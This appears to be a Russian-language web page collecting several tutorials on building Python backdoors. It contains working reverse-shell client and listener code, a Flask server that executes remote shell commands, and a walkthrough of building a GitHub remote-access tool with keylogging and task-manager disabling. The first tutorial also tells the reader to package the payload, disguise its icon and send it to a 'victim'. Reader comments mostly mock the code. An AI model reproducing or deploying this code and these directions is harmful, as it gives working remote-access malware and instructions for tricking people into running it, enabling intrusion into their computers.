Как сделать бэкдор на python
Перейти к содержимому

Как сделать бэкдор на python

  • автор:

Простой Backdoor на Python

Всем доброго времени суток! Сегодня я расскажу как написать простой backdoor на Python(3).

import socket import os def ExecuteCommand(command): output = os.popen(command).read() return output def main(): host = "127.0.0.1" # ip который будем использовать port = 6500 # порт while True: while True: try: s = socket.socket() # создаем сокет s.connect((host,port)) # подключаемся except: break while True: try: data = s.recv(1024).decode() # получаем команду output = ExecuteCommand(str(data)) if len(output) == 0: s.send(" ".encode()) # в случае, если рзультат # пустой, отправляем пробел else: s.send(output.encode()) # отправляем результат except: break s.close() if __name__ == '__main__': main()
import socket def main(): host = "127.0.0.1" # ip который будем прослушивать port = 6500 # порт s = socket.socket() # создаем сокет s.bind((host,port)) s.listen(1) print("Waiting for connection. ") connection, address = s.accept() # подключаемся print("Connection from " + str(address)) while True: try: toSend = input("-> ") connection.send(toSend.encode()) # отправляем команду data = connection.recv(1024).decode() # получаем результат print(data) # выводим на экран except: break print("Connection refused") # в случае, если соединение разорванно connection.close() if __name__ == '__main__': main()

Сдесь сам «вирус» является клиентом, а не сервером.

Теперь о том, как это все скомпилировать и использовать.

Требуется:
1. Python 3
2. Pyinstaller (его можно установить через pip командой «pip install pyinstaller»)

Меняем в обоих скриптах ip на свой, а порт на любой открытый (если он не используется другим приложением конечно).

Теперь компилируем Client.py.

Помещаем файлы в папке dist/Client в WinRAR SFX и указываем, что должен
запускаться Client.exe (я не стал использовать флажок -F для pyinstaller, так как на некоторых машинах файл может запускаться медленно).

Маскируем файл (меняем иконку и т.д.) и отправляем жертва.
Запускаем наш сервер и ждем, пока жертва откроет файл.

Вот и удаленный доступ.

Небольшой бэкдор на Flask или как управлять компьютером в локальной сети

Недавно я посмотрел скачанную версию стрима по программированию «Как создать свое веб-приложение на Flask». И решил закрепить свои знания в каком-нибудь проекте. Долго не знал, что написать и мне пришла идея: «А почему бы не сделать мини-бэкдор на Flask?».

В голове тут же появились первые варианты реализаций и возможностей бэкдора. Но я решил сразу составить список возможностей бэкдора:

  1. Уметь открывать сайты
  2. Иметь доступ к командной строке
  3. Уметь открывать программы, фото, видео

Написание сервера

Итак, *барабанная дробь* весь код сервера:

from flask import Flask, request import webbrowser import os import re app = Flask(__name__) @app.route('/mycomp', methods=['POST']) def hell(): json_string = request.json if json_string['command'] == 'test': return 'The server is running and waiting for commands. ' if json_string['command'] == 'openweb': webbrowser.open(url='https://www.'+json_string['data'], new=0) return 'Site opening ' + json_string['data'] + '. ' if json_string['command'] == 'shell': os.system(json_string['data']) return 'Command execution ' + json_string['data'] + '. ' if json_string['command'] == 'link': links = open('links.txt', 'r') for i in range(int(json_string['data'])): link = links.readline() os.system(link.split('>')[0]) return 'Launch ' + link.split('>')[1] if __name__ == '__main__': app.run(host='0.0.0.0') 

Я уже вывалил весь код, пора объяснять суть.

Весь код запускается на локальном компьютере на 5000 порту. Для взаимодействия с сервером мы должны отправлять JSON POST запрос.

Структура JSON запроса:

Ну, логично, что ‘command’ – команда, которую мы хотим выполнить. А ‘data’ – аргументы команды.

Можно писать и отправлять JSON запросы для взаимодействия с сервером ручками(вам в помощь requests). А можно написать консольный клиент.

Написание клиента

import requests logo = ['\n\n', '****** ********', '******* *********', '** ** ** **', '** ** ** ** Written on Python', '******* ** **', '******** ** **', '** ** ** ** Author: ROBOTD4', '** ** ** **', '** ** ** **', '******** *********', '******* ********', '\n\n'] p = '' iport = '192.168.1.2:5000' host = 'http://' + iport + '/mycomp' def test(): dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) def start(): for i in logo: print(i) start() test() while True: command = input('>') if command == '': continue a = command.split() if command == 'test': dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) if a[0] == 'shell': for i in range(1, len(a)): p = p + a[i] + ' ' dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) p = '' if a[0] == 'link': if len(a) > 1: dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print('Комманда не содержит аргументов!') if a[0] == 'openweb': if len(a) > 1: dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print('Комманда не содержит аргументов!') if a[0] == 'set': if a[1] == 'host': ip = a[2] + ':5000' if command == 'quit': break 

Первым делом импортируется модуль requests(для взаимодействия с сервером). Дальше описания функций start и test. А дальше цикл в котором происходит волшебство. Читали код? Значит вам ясен смысл волшебства, происходящего в цикле. Вводите команду – она выполняется. Shell – команды для командной строки(логика зашкаливает).

Test – проверка, работает ли сервер(бэкдор)
Link – использование «ярлыка»
Openweb – открытие сайта
Quit – выход из клиента
Set – задание ip вашего компьютера в локальной сети

А сейчас поподробнее о link.

Рядом с сервером лежит файл link.txt. В нём находятся ссылки(полный путь) к файлам(видео, фото, программы).

Итог

Мы имеем сервер-бэкдор для управления компьютером в локальной сети(внутри wi-fi сети). Технически мы можем запустить клиент с любого устройства, на котором есть интерпретатор python.

P.S. Команду set я добавил для того, чтобы если компьютеру в локальной сети присвоят другой ip, можно было прямо в клиенте его изменить.

  • Системное администрирование
  • Python

Создание бэкдора на Python ⁠ ⁠

Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.

Создание бэкдора на Python

Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:

1) Получение нашего локального IP и указанного порта.

2) Привязка IP-адреса и порта для создания сокета.

3) Запуск слушателя.

4) Отправка и получение команд в бесконечном цикле.

# Getting our local IP and a specified port

HOST = ‘127.0.0.1’ # ‘192.168.43.82’

PORT = 8081 # 2222

new_port = input(‘Input Host Port (Blank if default).’)

# Binding the IP to the Port

# Creating a Socket

# Starting the Listener

print(‘[+] Server Started’)

print(‘[+] Listening For Client Connection . ‘)

client, client_addr = server.accept()

print(f'[+] Client connected to the server’)

# Sending and receiving commands in an infinite loop

command = input(‘Enter Command : ‘)

print(‘[+] Command sent’)

Затем мы подключимся к атакующему на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.

Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:

REMOTE_PORT = 8081 # 2222

Далее мы должны получать команды и использовать библиотечный подпроцесс для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:

op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

Полный код сервера выглядит следующим образом:

from ctypes.wintypes import INT

# Setting Up IP/Sockets

REMOTE_PORT = 8081 # 2222

print(«[-] Connection Initiating. «)

print(«[-] Connection initiated!»)

print(«[-] Awaiting commands. «)

op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

print(«[-] Sending response. «)

Информация предоставлена для ознакомительных целей!
Мы в телеграме!

Поддержать

196 постов 2.4K подписчика

Подписаться Добавить пост

Правила сообщества

Просьба уважать друг друга.

4 месяца назад

Здравствуйте, я молдавский вирус (с)

раскрыть ветку
4 месяца назад

для того что-бы заразить свой сервер, установите пожалуйста python, отключите аппармор, разрешите входящий трафик на указный порт, а потом запустите этот скрипт. спасибо

раскрыть ветку
4 месяца назад

Чёт я не понял: это инструкция, как продырявить свой собственный сервер? Зачем?

А если не свой, то как этот код туда попадёт?

раскрыть ветку
4 месяца назад
Бля, почему это в горячем с рейтингом -56?
раскрыть ветку
4 месяца назад

Шутки про молдавский вирус — это, конечно, забавно, но не в кассу: бэкдор — это по определению лазейка в систему, которую оставляет производитель оборудования/софта или недобросовестный сотрудник в информационной системе своей компании, доступ куда надо у него по определению есть. Пост максимально упоротый, и его можно критиковать буквально за каждое предложение и почти каждую строчку кода, но как раз базовый принцип работы бэкдора отражен корректно.

Про отсутствие sudo набрасывают в целом валидно, с другой стороны его может у владельца скрипта и не быть исходно, а вот с уже с пробуренным rce в спокойной домашней обстановке можно будет наколупать какую-нибудь privilege escalation дырень.

Самая большая проблема, из-за которой я вообще зашёл в комменты — это срок жизни этого бэкдора. Изначально я было хотел докопаться, что скрипт на уязвимой системе забыли куда-нибудь в system.d присунуть, чтобы он хотя бы ребут тачки переживал. Но потом почитал код 🙂 Этот бэкдор нужно взводить при уже запущенной ответной части на машине злоумышленника, а как только дунет ветерок и канал от жертвы до злоумышленника потеряется — скрипт-бэкдор завершится и станет бесполезен. Он одноразовый настолько, насколько это вообще возможно. Ну что стоило хотя бы connect в цикл засунуть?

Если опустить моменты про художественно-литературную ценность этого произведения (в некоторых абзацах даже зная, что тут должно происходить — решительно не получается понять «кто на ком стоял»), закрыть глаза на кривую терминологию (от того, что автор называет клиент сервером — клиентом он быть не перестанет), проигнорировать отсутствие каких-нибудь теоретических выкладок по тексту, у меня остаётся один главный вопрос: а для кого этот текст?
Те, кому может пригодится знание о том, как расставлять бэкдоры — и так прекрасно знают, как это делается (не так). Остальным это во-первых не нужно, во-вторых — у них все равно нет шанса понять, что тут написано (так уж написано). Остаётся вариант с любознательными детьми, которые смогут без изменений запустить эти два скрипта у себя на компе и позапускать команды — активность уровня раций из нитки и двух банок от йогурта.

Бэкдор на Python

Хай хацкеры, эта первая статья по годноте с GitHub’a. Сегодня рассмотрим интересный репозиторий под названием Python Backdoor . Этот репозиторий мне скинул подписчик, спасибо ему большое.

Изучаем!

Для начала качаем сам репозиторий:

Устанавливаем зависимости командой pip install -r requirements.txt

Теперь открываем файл setup.py :

Выбираем цифру 1, если использовать ваш ip (на скрине мой)

Цифру 2, если использовать другой ip адресс.

Цифру 3, если использовать DNS.

Я выберу цифру 2, т.к мы лиш изучаем данный бэкдор:

127.0.0.1 — локальный ip

Enter port number — указываете открытый порт, у меня он 5552.

Use UPX? y/n (y — да, n — нет) — использовать UPX сжатие?

Path for icon — Путь до иконки

Итак если всё пройдёт гладко появится примерно такая надпись:

18330 INFO: Building EXE from EXE-00.toc completed successfully.

В папке dist создался наш бэкдор.

Теперь открываем файл server.py :

Listening on port 5552

Открываем файл client.exe и в консоли появляется следующие:

Вводим команду —help

Чтобы узнать что к чему:

Перечислить все соединения Взаимодействие с соединением Открыть удаленный cmd с подключением Отправить команду каждому соединению Закрыть соединение выход и закрытие всех соединений

Посмотрим текущие соединения —l:

Подключаемся к ПК с ID 0.

Возможности при подключении(по порядку):

Отправить сообщение Открыть сайт Получить файл от пользователя Отправить файл пользователю Сделать скриншот Запустить автозагрузку Посмотреть файлы Узнать информацию о ПК Открыть CMD Отключить диспетчер задач Функции кейлоггера Заблокировать пользователя Перезапустить пользователя Выключить пользователя Переместить соединение в фоновый режим Закрыть соединение

Попробуем открыть сайт:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *